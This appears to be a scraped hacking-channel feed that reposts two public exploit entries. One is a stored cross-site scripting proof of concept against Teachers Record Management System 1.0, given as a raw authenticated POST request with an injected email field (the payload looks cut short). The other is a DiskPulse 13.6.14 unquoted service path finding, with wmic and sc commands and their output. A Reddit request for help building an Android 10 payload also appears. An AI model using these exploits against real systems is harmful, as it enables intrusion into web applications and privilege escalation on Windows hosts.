Hacking Articles Tips Tricks Videos Tutorials

Recon Step/ Methodology

This is just a self-note on different steps to perform while approaching a target.Continue reading on Medium »
Read more...

9 views18:14

hii guys i was trying to create a payload for android 10 , but it is not working on android 10 , so please help me with this
https://www.reddit.com/r/Pentesting/comments/o20vdd/hii_guys_i_was_trying_to_create_a_payload_for/

submitted by /u/Queasy-Ad-1783 (https://www.reddit.com/user/Queasy-Ad-1783)
[link] (https://www.reddit.com/r/Pentesting/comments/o20vdd/hii_guys_i_was_trying_to_create_a_payload_for/) [comments] (https://www.reddit.com/r/Pentesting/comments/o20vdd/hii_guys_i_was_trying_to_create_a_payload_for/)

___________________________
@hacking_Attack
@Hacking_Video

hii guys i was trying to create a payload for android 10 , but it...

Posted in r/Pentesting by u/Queasy-Ad-1783 • 0 points and 0 comments

10 viewsedited 18:17

Hacking Articles Tips Tricks Videos Tutorials

9 views18:53

Hacking Articles Tips Tricks Videos Tutorials

10 views18:53

Hacking Articles Tips Tricks Videos Tutorials

Photo

Exploit Collector
Teachers Record Management System 1.0 Cross Site Scripting

https://4.bp.blogspot.com/-hg5R_Iy9kqs/WWlu56TnyEI/AAAAAAAAIJM/rTW1_kDHOwg4grZYYDaMUD1TyZ2BewRDQCLcBGAs/s1600/h107.png
Teachers Record Management System version 1.0 suffers from a persistent cross site scripting vulnerability.

MD5 | 5a28d092e9d867e89c133c9325a57ec7

Download

# Exploit Title: Teachers Record Management System 1.0 – 'email' Stored Cross-site Scripting (XSS) vulnerability (Authenticated)
# Date: 05-10-2021
# Exploit Author: nhattruong or https://nhattruong.blog
# Vendor Homepage: https://phpgurukul.com
# Software Link: https://phpgurukul.com/teachers-record-management-system-using-php-and-mysql/
# Version: 1.0
# Tested on: Windows 10 + XAMPP v3.2.4

POC:
1. Go to url http://localhost/admin/index.php
2. Do login
3. Execute the payload
4. Reload page to see the different

Payload:

POST /admin/adminprofile.php HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:88.0) Gecko/20100101 Firefox/88.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: vi-VN,vi;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 91
Origin: http://localhost
Connection: close
Referer: http://localhost/trms/admin/adminprofile.php
Cookie: PHPSESSID=8vkht2tvbo774tsjke1t739i7l
Upgrade-Insecure-Requests: 1

adminname=Adminm&username=admin&mobilenumber=8979555556&email=">&submit=

Source:packetstormsecurity.com

___________________________
@hacking_Attack
@Hacking_Video

Kitploit

Teachers Record Management System 1.0 Cross Site Scripting

Exploit Collector is the ultimate collection of public exploits and exploitable vulnerabilities. Remote/Local Exploits, Shellcode and 0days.

10 viewsedited 18:53

Hacking Articles Tips Tricks Videos Tutorials

7 views18:53

Hacking Articles Tips Tricks Videos Tutorials

7 views18:53

Hacking Articles Tips Tricks Videos Tutorials

7 views18:53

Hacking Articles Tips Tricks Videos Tutorials

6 views18:53

Hacking Articles Tips Tricks Videos Tutorials

6 views18:53

Hacking Articles Tips Tricks Videos Tutorials

6 views18:53

Hacking Articles Tips Tricks Videos Tutorials

6 views18:53

Hacking Articles Tips Tricks Videos Tutorials

Photo

Exploit Collector
DiskPulse 13.6.14 Unquoted Service Path

https://1.bp.blogspot.com/-gLNlUWq63_8/WWlvGRw0eoI/AAAAAAAAILQ/4OYXBaTeiPkRlDYcEes6gWLLrvO9LjoiQCLcBGAs/s1600/h138.png
DiskPulse version 13.6.14 suffers from an unquoted service path vulnerability.

MD5 | c78d3135fb201cc095d2f7f446eaafce

Download

# Exploit Title: DiskPulse 13.6.14 - 'Multiple' Unquoted Service Path
# Discovery by: Brian Rodriguez
# Date: 14-06-2021
# Vendor Homepage: https://www.diskpulse.com
# Software Links:
# https://www.diskpulse.com/setups_x64/diskpulseent_setup_v13.6.14_x64.exe
# https://www.diskpulse.com/setups_x64/diskpulsesrv_setup_v13.6.14_x64.exe
# Tested Version: 13.6.14
# Vulnerability Type: Unquoted Service Path
# Tested on: Windows 10 Enterprise 64 bits

# Step to discover Unquoted Service Path:

C:\>wmic service get name,displayname,pathname,startmode |findstr /i "auto"
|findstr /i /v "c:\windows\\" |findstr /i /v """

Disk Pulse Enterprise   Disk Pulse Enterprise  C:\Program Files\Disk Pulse
Enterprise\bin\diskpls.exe    Auto
Disk Pulse Server    Disk Pulse Server   C:\Program Files\Disk Pulse
Server\bin\diskpls.exe   Auto

C:\Users\IEUser>sc qc "Disk Pulse Enterprise"
[SC] QueryServiceConfig CORRECTO

NOMBRE_SERVICIO: Disk Pulse Enterprise
TIPO               : 10  WIN32_OWN_PROCESS
TIPO_INICIO        : 2   AUTO_START
CONTROL_ERROR      : 0   IGNORE
NOMBRE_RUTA_BINARIO: C:\Program Files\Disk Pulse
Enterprise\bin\diskpls.exe
GRUPO_ORDEN_CARGA  :
ETIQUETA           : 0
NOMBRE_MOSTRAR     : Disk Pulse Enterprise
DEPENDENCIAS       :
NOMBRE_INICIO_SERVICIO: LocalSystem

C:\Users\IEUser>sc qc "Disk Pulse Server"
[SC] QueryServiceConfig CORRECTO

NOMBRE_SERVICIO: Disk Pulse Server
TIPO               : 10  WIN32_OWN_PROCESS
TIPO_INICIO        : 2   AUTO_START
CONTROL_ERROR      : 0   IGNORE
NOMBRE_RUTA_BINARIO: C:\Program Files\Disk Pulse
Server\bin\diskpls.exe
GRUPO_ORDEN_CARGA  :
ETIQUETA           : 0
NOMBRE_MOSTRAR     : Disk Pulse Server
DEPENDENCIAS       :
NOMBRE_INICIO_SERVICIO: LocalSystem

Source:packetstormsecurity.com

___________________________
@hacking_Attack
@Hacking_Video

Kitploit

DiskPulse 13.6.14 Unquoted Service Path

Exploit Collector is the ultimate collection of public exploits and exploitable vulnerabilities. Remote/Local Exploits, Shellcode and 0days.

7 viewsedited 18:53

About

Blog

Apps

Platform